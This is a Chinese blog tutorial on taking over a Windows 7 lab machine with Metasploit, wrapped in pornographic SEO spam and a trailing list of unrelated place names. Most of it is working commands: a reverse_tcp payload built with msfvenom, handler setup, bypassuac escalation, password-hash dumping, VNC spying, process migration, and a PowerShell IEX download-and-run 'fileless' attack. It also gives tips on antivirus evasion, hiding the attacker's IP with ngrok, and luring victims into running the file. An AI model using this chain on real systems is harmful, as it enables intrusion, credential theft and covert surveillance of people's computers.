最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

使用MSF獲取windows電腦權(quán)限

2023-01-26 23:39 作者:顏衍魘  | 我要投稿

前言:這是作者學(xué)習(xí)過程中的部分筆記,歡迎大佬指出問題,文章中的靶場環(huán)境均為自己搭建

想要閱讀md格式的文章可以移步鏈接(https://zhuanlan.zhihu.com/p/601107518)(小聲說一句,b站什么時候才支持md文檔)

聲明:該筆記只是為了技術(shù)交流,文章中所有的操作請在自己搭建的靶場中復(fù)現(xiàn)。請勿用于其他非法用途,更不要用于攻擊他人電腦和服務(wù)器。文章未經(jīng)作者授權(quán),禁止轉(zhuǎn)載。

#### msfvenom簡介


msfvenom是msfpayload和msfencode的結(jié)合體,于2015.6.8取代了msfpayload和msfencode.此后,metasploit-framework下面的msfpayload,msfencoder,msfcli都不再被支持。

msfvenom所有參數(shù):

`-p, -payload <payload>, 指定需要使用的payload,也可以是自定義的payload,幾乎支持全平臺`

`-l,-list [module_type]列出指定模塊的所有可用資源。模塊類型包括payload、encoders、nops、all`

`-n,-nopsled <length> 為payload預(yù)先指定一個NOP滑動長度`

`-f,-format <format> 指定輸出格式`

`-e,-encoder [encoder] 指定需要使用的encoder,指定需要使用的編碼,如果既沒有-e選項也沒有-b選項,則輸出raw payload `

`-a,-arch <architecture> 指定payload的目標(biāo)架構(gòu),例如x86|x64|x86_64`

`-platform <platform> 指定payload的目標(biāo)平臺`

`-s,-space <length> 設(shè)定有效攻擊載荷的最大長度,即文件大小`

`-b,-bad-chars <list> 設(shè)定規(guī)避字符集,指定需要過濾的壞字符例如:不使用'\x0f','\x00'`

`-i,-iterations <count> 指定payload的編碼次數(shù)`

`-c,-add-code <path> 指定一個附加的win32 shellcode文件`

`-x,-template <path> 指定一個自定義的可執(zhí)行文件作為模板,并將payload嵌入其中`

`-k,-keep 保護模板程序的動作,注入的payload作為一個新的進程運行`

`-payload-options 列舉payload的標(biāo)準(zhǔn)選項`

`-o,-out <path> 指定創(chuàng)建好的payload的存放位置`

`-v,-var-name <name> 指定一個自定義的變量,以確定輸出格式`

`-shellest 最小化生成payload`

`-h,-help 查看幫助選項`

`-help-formats 查看msf支持的輸出格式列表`


##### 常用參數(shù)

```

msfvenom -p windowsw/meterpreter/reverse_tcp --list-options

查看windows/meterpreter/reverse_tcp支持什么平臺,哪些選項

```

`msfvenom --list payload 查看所有payloads`

```

msfvenom --list encoders 查看所有編碼器

評價最高的兩個encoder為cmd/powershell_base64(現(xiàn)在免殺效果不太行了)和x86/shikata_ga_nai,x86/shikata_ga_nai是免殺中使用頻率最高的一個編碼器

```

```

類似可使用 msfvenom --list命令查看payload、encoders、nops、platforms、archs、encrypt、formats

```


##### handler后臺持續(xù)監(jiān)聽

```

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后臺持續(xù)監(jiān)聽,-j為后臺任務(wù),-z為持續(xù)監(jiān)聽。使用jobs命令查看和管理后臺任務(wù)。jobs -K 可結(jié)束所有任務(wù)。

如果不使用該命令,將在監(jiān)聽一次后結(jié)束。

```

```

快捷建立監(jiān)聽的方式,在msf下直接執(zhí)行(該命令默認(rèn)持續(xù)后臺監(jiān)聽):

msf > handler -H 192.168.10.100,-P 1122 -p windows/meterpreter/reverse_tcp

```


#### 使用MSF獲取windows權(quán)限


實驗設(shè)備:

以下均為虛擬機設(shè)備:

kali : ip 192.168.10.100

win7: ip 192.168.10.112

win 08 R2: ip 192.168.10.128


進入kali,以root權(quán)限運行以下命令:

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=1133 -f exe > 1.exe`

如圖,可以看到生成的payload文件的大小

同時我們也在自己的主文件夾中找到了生成的1.exe文件

接下來就是將生成的1.exe文件傳遞到目標(biāo)主機上面,由于win10物理機上開啟了安全防護,生成的文件會被殺軟攔截,所以我們不直接通過win10復(fù)制文件,而是通過訪問網(wǎng)站的形式下載相應(yīng)文件

借助kali里的apache服務(wù),將文件放在網(wǎng)站根目錄中 /var/www/html/,開啟apache服務(wù)后,可以通過訪問該網(wǎng)站下載文件(需要確保不同虛擬機之間可以ping通,如果無法ping通可以嘗試關(guān)閉防火墻服務(wù),本質(zhì)上可以認(rèn)為是局域網(wǎng)間的連接)

```

service apache2 start //開啟apache服務(wù)

service apache2 status //查看apache服務(wù)狀態(tài)

```

可以看到,服務(wù)已經(jīng)正常開啟

我們再嘗試以下是否能夠訪問網(wǎng)站,進入瀏覽器,輸入本機ip

同時在win7上訪問該網(wǎng)站(同樣輸入kali的ip地址),

發(fā)現(xiàn)也能正常訪問,接下來就是把木馬上傳到該網(wǎng)站中

在kali里執(zhí)行以下命令(在剛才存放1.exe的文件夾中打開終端,進入root權(quán)限):

```

sudo su //進入root權(quán)限

cp 1.exe /var/www/html? ? //將文件上傳到網(wǎng)站根目錄中

```

現(xiàn)在我們已經(jīng)可以通過訪問網(wǎng)站下載1.exe木馬文件了。在win7輸入網(wǎng)址 192.168.10.100/1.exe,進入后會出現(xiàn)文件下載提示

我們將文件保存在桌面上,方便后續(xù)測試

接下來我們需要在kali中開啟msf的監(jiān)聽功能

`-# msfconsole`

進入成功后命令行會變成如下圖:

繼續(xù)輸入命令:

```

msf6 > use exploit/mulit/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp? //根據(jù)剛才生成的木馬的模板輸入相應(yīng)的監(jiān)聽設(shè)置

msf6 exploit(multi/handler) > options? //查看設(shè)置

```

可以看到還有一個本地的監(jiān)聽地址沒有設(shè)置,我們將其設(shè)置為本機ip,也將監(jiān)聽端口設(shè)置為先前生成的木馬設(shè)置的端口

```

msf6 exploit(multi/handler) > set LHOST 192.168.10.100

msf6 exploit(multi/handler) > set LPORT 1133

msf6 exploit(multi/handler) > run

```

可以看到,已經(jīng)開始運行了,但是直接run會導(dǎo)致只能監(jiān)聽一次,不能持續(xù)監(jiān)聽,根據(jù)前面的介紹,為了后臺持續(xù)監(jiān)聽,我們應(yīng)該使用以下命令:

```

msf exploit(multi/handler) > exploit -j -z

```

或者直接一步開啟監(jiān)聽:

`msf6 > handler -H 192.168.10.100 -P 1133 -p windows/meterpreter/reverse_tcp`

輸入jobs,可以查看后臺開啟的監(jiān)聽列表

現(xiàn)在在win7里面雙擊運行1.exe(這只是在靶場測試下這樣啟動,在實際的滲透測試環(huán)境中,需要通過各種社工手段來誘導(dǎo)目標(biāo)點擊運行該程序,如捆綁程序,圖片馬等等,這里不詳細(xì)描述,因為筆者也不熟練)

可以看到,現(xiàn)在已經(jīng)成功與目標(biāo)主機建立了連接

同時我們在win7里也可以查看到這個連接信息

這里可以看出,108:49388連接到100:1133,直接以這種方式建立連接,在實際中很容易被溯源,所以我們需要一點小手段(使用ngrok與本地建立一個隧道,通過端口轉(zhuǎn)發(fā)的方式實現(xiàn)連接。生成木馬時的ip要設(shè)置位ngrok的ip,而監(jiān)聽ip設(shè)置位本地ip,監(jiān)聽端口則設(shè)置為轉(zhuǎn)發(fā)端口。這樣當(dāng)目標(biāo)靶機運行程序后,與其建立連接的將是ngrok提供的服務(wù)器,而不會暴露我們自己的ip,這里不進行演示,沒錢買服務(wù)器@~@,當(dāng)然也可以用免費的嘗試一下,不過免費的服務(wù)器容易斷開)。

接下來就是使用meterpreter對目標(biāo)靶機進行控制和提權(quán)

```

msf6 > sessions -l? //查看所有會話

msf6 > sessions -i -1? //調(diào)用對應(yīng)序號會話

```

`meterpreter > shell? //進入win的cmd命令行`

`meterpreter > help? //查看更多命令信息`

可以看到meterpreter提供了很多命令,包括桌面監(jiān)控,攝像頭控制等功能

然后就是最重要的提取權(quán)限:

`meterpreter > getuid? ?//查看當(dāng)前的系統(tǒng)權(quán)限,下圖可以看到獲得的只是一個用戶權(quán)限,而我們的目標(biāo)是拿到system權(quán)限,有了系統(tǒng)權(quán)限我們才有機會去做更多操作`

`meterpreter > getsystem //獲取系統(tǒng)權(quán)限(多數(shù)情況不能直接獲取,但總要試一下,萬一能直接成功呢)`

顯然,我們提權(quán)嘗試失敗,所以我們嘗試用bypassuac模塊進行提權(quán)

```

meterpreter > background? //后臺掛起該會話

msf6 exploit(multi/handler) > search bypassuac

```

如圖,msf提供了很多bypassuac模塊,根據(jù)描述,前兩個是針對win10的,其他的沒有什么特殊說明,所以只能自己去測試。

由于我們的目標(biāo)靶機是win7,所以我們直接從第三個模塊開始。運氣很好,剛開始測試就直接提權(quán)成功,下面是具體的操作命令:

```

msf6 exploit(multi/handler) > use exploit/windows/loacl/bypassuac

msf6 exploit(windows/loacl/bypassuac) > set session 1??

msf6 exploit(windows/loacl/bypassuac) > exploit

```

bypassuac模塊只需要設(shè)置session參數(shù),如果成功就會返回一個新的會話,之后再用getsystem進行提權(quán)

如圖,我們現(xiàn)在已經(jīng)成功的拿到了win7的system權(quán)限

我們可以嘗試獲取一下win7的hash

成功拿到hash

有些時候會出現(xiàn)無法使用hashdump的情況,這時候我們可以調(diào)用post里面的后滲透攻擊模塊

可以看到,這里集成了很多模塊,從中找到我們需要的 post/windows/gather/hashdump,然后運行該模塊

`meterpreter > run post/windows/gather/hashdump`

我們也成功的拿到了hash

接下來我們使用桌面監(jiān)控指令

`meterpreter > run vnc`

一段時間后,會出現(xiàn)一個系統(tǒng)界面的窗口,這就是我們目標(biāo)靶機win7的界面?,F(xiàn)在我們就成功的在kali里監(jiān)控了win7的界面,但是我們只能監(jiān)控,而不能在這個窗口中做任何操作。當(dāng)然,通過修改vnc模塊參數(shù),我們可以將這個監(jiān)控界面從只讀改為可執(zhí)行狀態(tài),實現(xiàn)對桌面的控制(這里不展開解釋,因為筆者還沒研究)。

稍微了解了一些基本的功能,我們接下來要做的就是遷移進程。由于直接在目標(biāo)機上運行程序建立的連接很不穩(wěn)定,容易被斷開或殺掉,所以我們需要將木馬程序遷移到目標(biāo)靶機正在運行的進程中,從而保證連接的穩(wěn)定性。

`meterpreter > ps? ?//查看系統(tǒng)進程`

我們選擇其中一個進程,將程序遷移進去

`meterpreter > migrate 2612`

現(xiàn)在進程已經(jīng)遷移成功,即使關(guān)掉原來的1.exe程序,監(jiān)控會話也能保持連接。

能夠發(fā)現(xiàn),即使我們已經(jīng)在win7里結(jié)束了1.exe程序,我們依舊能夠保持會話,使用meterpreter的各項功能,這說明我們的程序在遷移到其他進程中后,依舊能夠正常運行(可以嘗試將遷移到360等殺軟中,但一般是無法成功遷移的,因為這類殺軟都有進程保護)。

#### MSF無文件攻擊

上面建立連接的方式是通過向目標(biāo)靶機注入木馬達到監(jiān)聽的目的,而目標(biāo)靶機中會存在一個1.exe的文件。所以我們需要思考一下,是否可以通過不生成落地文件,從而實現(xiàn)監(jiān)聽的目的。無文件攻擊就是通過使用命令,遠(yuǎn)程調(diào)用代碼加載到內(nèi)存里面運行。

##### powershell配合msf實現(xiàn)無文件攻擊

```

生成ps腳本

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1125 -f psh-reflection > x.ps1

設(shè)置偵聽

use exlpoit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.10.108

客戶端運行

powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/x.ps1')

```

具體操作

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 `


現(xiàn)在已經(jīng)生成了一個powershell文件,我們將該文件上傳到服務(wù)器里

這里將win2008 R2作為網(wǎng)站服務(wù)器,使用phpstudy開啟服務(wù),將生成的x.ps1文件放在網(wǎng)站根目錄里面(即phpstudy的www文件夾中),輸入08服務(wù)器的ip(192.168.10.128)即可訪問建立的網(wǎng)站。我們在目標(biāo)靶機(win7)的瀏覽器中打開目標(biāo)網(wǎng)址(192.168.10.128/x.ps1)

發(fā)現(xiàn)網(wǎng)頁上會直接顯示powershell文件的代碼,接下來要實現(xiàn)的就是通過命令行執(zhí)行這串代碼。

首先在kali里設(shè)置對應(yīng)的監(jiān)聽

`msf6 > handler -H 192.168.10.100 -P 1125 -p windows/x64/meterpreter/reverse_tcp `

然后在win7中運行如下命令:

`powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/x.ps1')`

運行命令后,出現(xiàn)powershell停止工作的提示(思考ing)。

查閱資料和檢查配置后,筆者發(fā)現(xiàn)自己安裝的win7是32位系統(tǒng),而我們生成的x.ps1文件為64位(windows支持向下兼容,即64位系統(tǒng)可以運行32位文件,反之則不行)

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1125 -f psh-reflection > x.ps1`

可以發(fā)現(xiàn)該命令中 `/x64`指定了生成的文件為64位,所以我們重新生成一個新的木馬

`msfvenom -p windows/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1144 -f psh-reflection > y.ps1? ? ? ? ? ? //不指定生成文件位數(shù),則默認(rèn)為32位`

開啟監(jiān)聽:

`handler -H 192.168.10.100 -P 1144 -p windows/meterpreter/reverse_tcp`

重復(fù)之前的步驟(將木馬文件上傳到08服務(wù)器上)

在目標(biāo)靶機(win7)運行命令:

`powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/y.ps1')`

這次沒有出現(xiàn)停止工作的提示了,再看一下kali里,會話是否建立成功。


也成功建立會話,至此,無文件攻擊成功。在這個過程中我們可以發(fā)現(xiàn),win7里面并沒有下載任何的木馬文件,而是通過訪問網(wǎng)站的方式,直接將y.ps1中的代碼加載到內(nèi)存中執(zhí)行。


使用MSF獲取windows電腦權(quán)限的評論 (共 條)

分享到微博請遵守國家法律
开封县| 田林县| 安溪县| 日土县| 乐陵市| 惠州市| 唐河县| 镇坪县| 资源县| 安岳县| 尼勒克县| 黎城县| 临漳县| 得荣县| 远安县| 宁夏| 盘锦市| 渭源县| 徐州市| 新河县| 柘荣县| 阳朔县| 黄大仙区| 鄱阳县| 邯郸市| 韩城市| 邹平县| 浙江省| 和田县| 赞皇县| 泰宁县| 平潭县| 金寨县| 磐石市| 邵阳县| 荃湾区| 大理市| 石屏县| 肇源县| 耒阳市| 武夷山市|